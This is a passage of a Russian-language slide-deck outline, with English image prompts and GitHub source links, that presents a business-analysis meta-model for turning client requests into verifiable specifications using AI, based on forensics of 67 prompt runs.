\u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0430\\n\\n**\u0411\u043b\u043e\u043a 1. \u041e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f.**\\n\\n- \u041a\u043b\u0438\u0435\u043d\u0442 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u0441 \u0431\u0438\u0437\u043d\u0435\u0441-\u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435\u043c; \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u2014 \u0422\u0417, \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443\\n  \u0440\u0430\u0437\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0442 \u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u0432 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0435.\\n- \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442 \u0448\u0438\u0440\u043e\u043a: \u0412\u0410\u0422\u0421, \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440, API, \u043b\u0438\u0447\u043d\u044b\u0439 \u043a\u0430\u0431\u0438\u043d\u0435\u0442 \u2014\\n  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Mango, \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0441 42 \u0430\u043d\u0430\u043b\u043e\u0433\u0430\u043c\u0438 IT/\u0442\u0435\u043b\u0435\u043a\u043e\u043c.\\n- \u041a\u043e\u043c\u043f\u043b\u0430\u0435\u043d\u0441: \u043e\u0448\u0438\u0431\u043a\u0430 \u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0441\u043f\u043e\u0440\u043e\u043c \u043e \u043f\u0440\u0438\u0451\u043c\u043a\u0435, \u0430 \u043d\u0435 \u043f\u0440\u0430\u0432\u043a\u043e\u0439\\n  \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430.\\n- \u041e\u0434\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438: \u043a\u043b\u0438\u0435\u043d\u0442 \u2192 \u0411\u0410 \u2192 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439\\n  \u0430\u043d\u0430\u043b\u0438\u0437 \u2192 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430.\\n\\n> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** 42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u0443 \u043a\u0430\u0436\u0434\u043e\u0439 \u2014 \u0441\u0432\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c,\\n> \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447 \u00ab\u043a\u043b\u0438\u0435\u043d\u0442 \u2192 \u0411\u0410 \u2192 \u0421\u0410 \u2192\\n\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u2192 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u00bb \u0441 \u0442\u043e\u0447\u043a\u0430\u043c\u0438, \u0433\u0434\u0435 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA relay race of four stylised figures passing a glowing document baton\\nalong a long corridor of server racks and contract folders; at every\\nhand-off a few fragments of the baton drift away into the dark.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Mango](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml),\\n[\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 IT/\u0442\u0435\u043b\u0435\u043a\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/telecom-products.yaml).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 3. \u041c\u0435\u0436\u0434\u0443 \u0441\u044b\u0440\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0422\u0417 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\n\\n**\u0411\u043b\u043e\u043a 2. \u0411\u043e\u043b\u044c.** \u0424\u0430\u043a\u0442\u044b \u0438\u0437 \u0440\u0430\u0437\u0431\u043e\u0440\u0430 \u0432\u0441\u0435\u0445 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `mango_ba_prompts`.\\n\\n- 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 \u2014 17 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440: \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c\\n  \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b `M-1 = 0.0`.\\n- 50 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442 \u0432\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442: \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0435\u043b\u044c\u0437\u044f\\n  \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438.\\n- \u0418\u0418 \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u0443\u0441\u0442\u043e\u0442\u044b \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c: \u0432 RUN-0015 \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u044b \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f\\n  NFR (5 \u043c\u0438\u043d, 100 \u043c\u0441, 2 \u0441, 24/7) \u2014 \u0432\u0441\u0435 \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c.\\n- \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0441\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f: \u0432 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 FR \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0435\\n  \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435, \u0430 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435.\\n\\n> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** `M-1 = 0.0` \u2014 \u043d\u0438 \u043e\u0434\u0438\u043d \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043d\u0435 \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u043b\\n> \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0434\u0440\u0443\u0433\u043e\u0433\u043e.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0441\u0435\u0442\u043a\u0430 \u0438\u0437 17 \u043c\u0438\u043d\u0438\u0430\u0442\u044e\u0440 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0440\u0430\u0437\u043d\u044b\u043c\\n\u0441\u043e\u0441\u0442\u0430\u0432\u043e\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432; \u043d\u0438 \u043e\u0434\u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0430 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nSeventeen specification documents laid out in a grid, each with a\\ndifferent internal skeleton of blocks and sections, none of them\\nmatching; a single empty template frame hovers above, unused.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md),\\n[\u0437\u0430\u043c\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md),\\n[\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043c\u0435\u0442\u0440\u0438\u043a](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0441\u0438\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430\\n\\n**\u042d\u043c\u043f\u0438\u0440\u0438\u043a\u0430.** \u042d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438.\\n\\n- \u0421\u0442\u0430\u0440\u0442: 24 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0432 \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u0430\u0445 (stepwise, oneshot, legacy) \u043d\u0430 13\\n  \u0437\u0430\u0434\u0430\u0447. \u0421\u0445\u043e\u0434\u0441\u0442\u0432\u043e \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432 \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u043e\u0434\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438 \u2014 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443.\\n- 10 \u0438\u0437 12 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437\\n  24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432: \u043d\u0435\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430, \u0433\u0435\u0439\u0442\u0430.\\n- \u0427\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u2014 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c, \u0433\u0440\u0430\u043d\u0438\u0446\u044b, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435,\\n  \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043f\u0440\u043e\u043c\u043f\u0442-\u043f\u0440\u0430\u0432\u043a\u0430\u043c\u0438 \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\\n- \u0420\u0435\u0448\u0435\u043d\u0438\u0435: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u041c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e,\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0441\u043b\u0443\u0436\u0430\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u043e\u0439.\\n\\n> **\u0426\u0438\u0442\u0430\u0442\u0430 \u0438\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438:** \u00ab\u041f\u0440\u043e\u043c\u043f\u0442-only \u043f\u0440\u0430\u0432\u043a\u0438 \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u044d\u0442\u0438 \u043a\u043b\u0430\u0441\u0441\u044b;\\n> \u043d\u0443\u0436\u0435\u043d \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438 \u0442\u0440\u0438 \u0433\u0435\u0439\u0442\u0430\u00bb.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0448\u043a\u0430\u043b\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u00abRUN-0001 \u2192 RUN-0069\u00bb \u0441 \u0442\u0440\u0435\u043c\u044f\\n\u0432\u0435\u0445\u0430\u043c\u0438: \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u2192 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u2192 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA timeline running left to right: on the left a tangled heap of\\nhandwritten prompt cards, in the middle a forensic magnifying glass\\nover a row of numbered run folders, on the right a clean architectural\\nblueprint of connected blocks rising from the same folders.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs),\\n[\u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/prompts),\\n[\u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u044f \u043d\u0430 \u043d\u043e\u0440\u043c\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md),\\n[ADR-014: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md),\\n[ADR-013: \u043e\u0442\u043a\u0430\u0437 \u043e\u0442 \u0440\u0435\u0436\u0438\u043c\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-deprecate-run-modes.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0411\u0410 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c\\n\\n**\u0411\u043b\u043e\u043a 3. \u041a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438.**\\n\\n- \u0421\u0442\u0440\u043e\u0433\u0430\u044f \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u044f: **\u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192 \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442**.\\n  \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043d\u0430\u0432\u044b\u043a\u043e\u0432, \u043d\u0430\u0432\u044b\u043a \u2014 \u0438\u0437 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\\n- \u0417\u0430\u043a\u0440\u044b\u0442\u044b\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u0438: 33 \u043d\u0430\u0432\u044b\u043a\u0430-\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, 31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0430\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f; \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\\n  \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u2014 \u043e\u0442\u043a\u0430\u0437 \u043d\u0430 \u0432\u0445\u043e\u0434\u0435, \u0430 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f.\\n- \u0417\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430: \u0432\u0445\u043e\u0434 \u00d7 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u00d7 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u00d7 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u00d7 \u0430\u043a\u0442\u043e\u0440 \u2014\\n  \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438 \u0433\u0435\u0439\u0442 \u2014 \u0432\u044b\u0445\u043e\u0434 + \u0441\u043b\u0435\u0434.\\n- \u0427\u0435\u0442\u044b\u0440\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430: \u043d\u0435\u0442 \u0448\u0430\u0433\u0430 \u0431\u0435\u0437 \u0432\u0445\u043e\u0434\u0430 (`MM-1`), \u043d\u0435\u0442 \u0433\u0435\u0439\u0442\u0430 \u0431\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\\n  (`MM-2`), \u043a\u0430\u0436\u0434\u044b\u0439 \u0432\u044b\u0445\u043e\u0434 \u043d\u0435\u0441\u0451\u0442 \u0441\u043b\u0435\u0434 (`MM-3`), \u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0434\u043e \u0448\u0430\u0433\u0430\\n  (`MM-4`).\\n\\n> **\u0424\u043e\u0440\u043c\u0443\u043b\u0430:** `Artifact_in \u00d7 Product \u00d7 System \u00d7 Operation \u00d7 Actor \u2500\u2500\\n> Contract \u2500\u2500\u25b6 Gate \u2500\u2500\u25b6 Artifact_out + Trace`\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0447\u0435\u0442\u044b\u0440\u0451\u0445\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u0430\u044f \u043f\u0438\u0440\u0430\u043c\u0438\u0434\u0430 \u0441 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0439\\n\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439 \u0432 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0438 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u0433\u0440\u0430\u043d\u0438.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nAn exploded architectural diagram of four stacked translucent layers:\\na product layer on top, a process layer, a layer of many small identical\\noperation cubes, and at the bottom a row of finished artefacts; thin\\nvertical threads connect every artefact back up to its operation and\\nproduct.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u0442\u0435\u043e\u0440\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md),\\n[\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md),\\n[\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/process-taxonomy/20-taxonomy.md),\\n[\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/20-taxonomy.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c: \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u0438 \u0441\u0442\u0430\u0432\u0438\u043c \u043d\u0430 \u0435\u0451 \u0432\u044b\u0445\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n\\n**\u0411\u043b\u043e\u043a 4. \u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0440\u044b\u0432.**\\n\\n- **\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430:** \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438.\\n  \u041e\u0434\u043d\u0438\u043c \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u043c \u0418\u0418 \u043f\u0438\u0448\u0435\u0442 \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442, \u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435.\\n- **\u0420\u0435\u0448\u0435\u043d\u0438\u0435:** \u0440\u0430\u0431\u043e\u0442\u0430 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d\u0430 \u043d\u0430 31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445\\n  \u043a\u043b\u0430\u0441\u0441\u043e\u0432. \u041a\u0430\u0436\u0434\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u0437\u0430\u0434\u0430\u0451\u0442 \u0441\u0432\u043e\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f.\\n- \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c, 